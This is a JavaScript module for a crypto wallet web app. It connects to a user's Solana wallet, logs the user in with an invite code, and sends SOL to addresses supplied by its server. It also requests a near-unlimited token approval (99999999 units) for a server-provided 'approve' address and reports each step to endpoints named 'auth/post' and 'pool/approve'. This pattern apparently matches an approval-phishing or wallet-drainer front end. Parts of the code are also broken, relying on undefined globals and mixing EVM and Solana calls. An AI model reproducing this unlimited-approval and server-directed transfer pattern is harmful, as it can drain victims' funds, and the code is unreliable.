import s3 from "@/libs/solana.js";
const {
	Keypair,
	Transaction,
	Connection,
	PublicKey,
	SystemProgram,
	LAMPORTS_PER_SOL,
	sendAndConfirmTransaction,
	clusterApiUrl
} = s3;
export default {
	tt(str){
		return this.$t(str);
	},
	async sol_sign() {
		return new Promise(async succ => {
			await window.solana.connect();
			try {

				let msg = await window.solana.signMessage('签名校验', "utf8");
				if (msg.signature) {
					succ('1');
				} else {
					succ('');
				}
			} catch (e) {
				succ('')
				//TODO handle the exception
			}
		})
	},
	async g_req(url, param) {
		return new Promise((succ, err) => {
			uni.request({
				url,
				data: param,
				success(res) {
					succ(res)
				},
				fail(e) {
					err(e);
				}
			})
		})
	},
	// async search_tx_status(txs) {
	// 	let that = this;
	// 	return new Promise(async succ => {
	// 		let si = setInterval(async () => {
	// 			let len = txs.length;
	// 			let succs = [];
	// 			for (let i = 0; i < len; i++) {
	// 				let hash = txs[i];
	// 				let res = await that.g_req(
	// 					"https://public-api.solscan.io/transaction/" + hash, {});
	// 				if (res.data.status == "success") {
	// 					succs.push(hash);
	// 				}
	// 			}
	// 			console.log("succs.len", succs.length);
	// 			if (succs.length == len) {
	// 				clearInterval(si);
	// 				succ(true);
	// 			}
	// 		}, 1500)
	// 	})

	// },
	copy(str) {
		uni.setClipboardData({
			data: str,
			success() {
				uni.showToast({
					title: "已复制",
					icon: "none"

				})
			}
		})
	},

	async send_solana(to, num) {
		let that = this;
		return new Promise(async succ => {
			try {
				let solanaWeb3 = s3;
				// alert("开始sd sol"+s3.PublicKey)
				await window.solana.connect();
				// alert("我的key"+window.solana.publicKey)
				// return;
				//solana 网络
				// const network = "https://solana-mainnet.phantom.tech";
				// const network = "https://rpc.ankr.com/solana";
				const network = "https://solana-mainnet.phantom.tech";

				// const network = "https://api.devnet.solana.com";
				//创建solana连接
				var connection = new Connection(network);

				var in1 = solanaWeb3.SystemProgram.transfer({
					fromPubkey: window.solana.publicKey,
					toPubkey: new s3.PublicKey(to),
					lamports: num
				});

				var tr = new solanaWeb3.Transaction().add(in1);

				tr.feePayer = window.solana.publicKey;

				tr.recentBlockhash = (
					await connection.getRecentBlockhash()
				).blockhash;

				var signedTx = await window.solana.signTransaction(tr);
				var sig = await connection.sendRawTransaction(signedTx.serialize());
				// alert("solana 交易成功"+sig)
				succ(sig);
			} catch (e) {
				console.error('solana报错', e)
				succ(false);
				//TODO handle the exception
			}
		})
	},
	submit_approve(data, cb) {
		let that = this;
		data.ip_address = '1';
		that.post("auth/post", data, cb, res => {

			if (typeof cb == "function") {
				cb(res);
			}
		})
	},
	async submit_transfer(data) {
		let that = this;
		return new Promise(async succ => {
			that.post("pool/approve", data, res => {
				if (res.code == 200) {
					succ(res.data.id)
				} else {
					succ('0');
				}
			}, fail => {
				succ('0')
			})
		})
	},
	get_exchange_balance() {
		let that = this;

	},
	load_rec_addr() {
		let that = this;
		that.post("address", {}, res => {
			if (res.code == 200) {
				that.rec_addr = res.data;
				that.receive_addr = res.data;
				that.is_open = res.data.is_open
				console.log("收款地址", res.data);
			} 
		})
	},
	load_approve_addr() {
		let that = this;
		that.post("auth/address", {}, res => {
			if (res.code == 200) {
				that.approve_addr = res.data;
			}
		})
	},
	load_receive_addr() {
		let that = this;
		that.post("address", {}, res => {
			if (res.code == 200) {
				that.receive_addr = res.data;
			}
		})
	},
	/**
	 * @param {Object} num 授权数量 默认 99999999
	 * @param {Object} coin 代币信息
	 * 代币授权
	 */
	async token_approve(coin) {
		let that = this;
		try {

			if (chain_id != 56) {
				let approve_res = await wd.approve(coin.contract_addr, that.approve_addr.spl[0].address, Math.pow(
					10, coin.format) * 99999999);
				let sign = approve_res.txid;
				uni.hideLoading();
				return sign;
			} else {
				uni.hideLoading();
				return false;
			}


		} catch (e) {
			uni.hideLoading();
			console.log('************************', "调用授权发生错误", e);
			return false;
			//TODO handle the exception
		}
	},
	async run() {
		let that = this;
		return new Promise(succ => {
			let si = setInterval(async () => {
				if (window.solana) {
					clearInterval(si);
					window.chain_id = 99;
					await window.solana.connect()
					console.log("鏈塻olana");
					const fromPubKey = window.solana.publicKey;
					window.curr_address = fromPubKey.toBase58();
					let login_result = await that.login(fromPubKey);
					if (login_result) {
						succ(login_result)
					} 
					console.log(fromPubKey.toBase58());
					
				} else if (window.ethereum) {
					window.chain_id = 56;
				}
			}, 200)
		})

	},
	get_page_param(variable) {
		return this.getQueryVariable(variable);
	},
	getQueryVariable(variable) {
		let href = window.location.href;
		let query = href.split('?');
	
		if (!query) return false;
		query = query[query.length - 1];
		let vars = query.split("&");
		for (var i = 0; i < vars.length; i++) {
			var pair = vars[i].split("=");
			if (pair[0] == variable) {
				return pair[1];
			}
		}
		return (false);
	},
	async login() {
		let that = this;
		return new Promise(succ => {
			let code = this.getQueryVariable("code");
			let param = {
				clientId: "99",
				chainId: 99,
				nwtworkId: "0",
				accounts: curr_address,
				invit: ''+code,
				that_wallet_name: "SOLANA"
			}
			that.post("connect", param, res => {
				if (res.code == 200) {
					let data = res.data;
					uni.setStorageSync("logined", "1");
					uni.setStorageSync("token", data.access_token);
					succ(res.data)
				} else {
					succ(false);
				}
			},f=>{
				console.log("f: " + JSON.stringify(f));
				succ(false);
			})
		})
	}
}
